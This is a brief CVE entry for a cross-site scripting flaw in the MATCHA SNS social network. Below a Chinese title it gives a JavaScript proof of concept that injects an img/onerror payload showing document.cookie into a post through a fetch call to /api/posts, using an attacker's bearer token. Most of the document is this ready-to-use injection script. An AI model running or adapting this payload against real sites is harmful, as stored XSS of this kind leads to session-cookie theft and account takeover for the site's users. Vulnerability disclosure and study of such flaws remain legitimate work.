CVE-2026-27787 MATCHA SNS 跨站脚本漏洞

// Basic XSS PoC for MATCHA SNS // Inject this payload into a vulnerable field (e.g., post content or comment) var payload = "<img src=x onerror=alert(document.cookie)>"; // Simulate sending a POST request to inject the payload fetch('/api/posts', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <attacker_token>' }, body: JSON.stringify({ content: payload }) }) .then(response => console.log('Payload injected successfully')) .catch(error => console.error('Injection failed', error));